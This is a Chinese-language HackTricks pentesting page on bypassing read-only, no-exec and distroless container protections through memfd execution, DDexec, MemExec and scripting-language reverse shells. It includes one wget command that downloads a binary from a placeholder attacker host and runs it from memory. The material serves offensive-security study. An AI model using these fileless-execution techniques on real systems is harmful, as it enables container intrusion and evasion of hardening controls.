Bypass FS protections: read-only / no-exec / Distroless

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

如果您对黑客职业感兴趣并想要黑掉不可能黑掉的东西 - 我们正在招聘!(需要流利的波兰语书面和口头表达能力)。

视频

在以下视频中,您可以找到本页中提到的技术的更深入解释:

只读 / 无执行场景

在Linux机器上发现只读(ro)文件系统保护变得越来越常见,特别是在容器中。这是因为在容器中运行只读文件系统只需在securitycontext中设置**readOnlyRootFilesystem: true**即可:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

然而,即使文件系统以只读方式挂载,/dev/shm仍然是可写的,因此我们可以在磁盘上写入内容。但是,此文件夹将以无执行保护挂载,因此如果您在此处下载二进制文件,则无法执行

最简单的绕过方法:脚本

请注意,我提到了二进制文件,只要解释器在机器内部,您可以执行任何脚本,比如shell脚本(如果存在sh)或Python脚本(如果安装了python)。

然而,这仅仅足以执行您的二进制后门或其他可能需要运行的二进制工具。

内存绕过

如果您想执行一个二进制文件,但文件系统不允许,最好的方法是通过从内存中执行,因为这些保护在内存中不适用

FD + exec系统调用绕过

如果您在机器内部有一些强大的脚本引擎,比如PythonPerlRuby,您可以将要执行的二进制文件下载到内存中,将其存储在一个内存文件描述符(create_memfd系统调用)中,这不会受到这些保护的保护,然后调用**exec系统调用**,指示将fd作为要执行的文件

为此,您可以轻松使用项目fileless-elf-exec。您可以将二进制文件传递给它,它将生成一个以指定语言编写的脚本,其中包含使用指令对二进制文件进行压缩和b64编码的说明,以及在调用create_memfd系统调用创建fd并调用exec系统调用来运行它。

DDexec / EverythingExec

DDexec / EverythingExec是一种允许您通过覆盖其**/proc/self/mem修改自己进程的内存**的技术。

因此,通过控制进程执行的汇编代码,您可以编写一个shellcode并“变异”进程以执行任意代码

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec是DDexec的自然下一步。它是一个DDexec shellcode demonised,因此每次您想要运行不同的二进制文件时,您无需重新启动DDexec,只需通过DDexec技术运行memexec shellcode,然后与此守护进程通信以传递要加载和运行的新二进制文件

您可以在https://github.com/arget13/memexec/blob/main/a.php中找到如何使用memexec从PHP反向shell执行二进制文件的示例。

Memdlopen

与DDexec具有类似目的,memdlopen技术允许以更简单的方式将二进制文件加载到内存中以后执行它们。甚至可以加载具有依赖关系的二进制文件。

Distroless Bypass

什么是distroless

Distroless容器仅包含运行特定应用程序或服务所需的最少组件,例如库和运行时依赖项,但不包括诸如软件包管理器、shell或系统实用程序等较大的组件。

Distroless容器的目标是通过消除不必要的组件减少容器的攻击面,并最小化可以被利用的漏洞数量。

反向Shell

在distroless容器中,您可能**找不到shbash**以获取常规shell。您也不会找到诸如lswhoamiid等二进制文件...通常在系统中运行的所有内容。

但是,如果受损的容器例如正在运行flask web,则已安装了python,因此您可以获取Python反向shell。如果正在运行node,则可以获取Node反向shell,大多数任何脚本语言都可以。

如果没有**read-only/no-exec保护,您可以滥用反向shell在文件系统中写入您的二进制文件执行**它们。

您可以在https://github.com/carlospolop/DistrolessRCE中找到如何利用一些RCE漏洞获取脚本语言反向shell并从内存中执行二进制文件的示例

如果您对黑客职业感兴趣并想要黑入不可黑入的 - 我们正在招聘!(需要流利的波兰语书面和口语)。

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于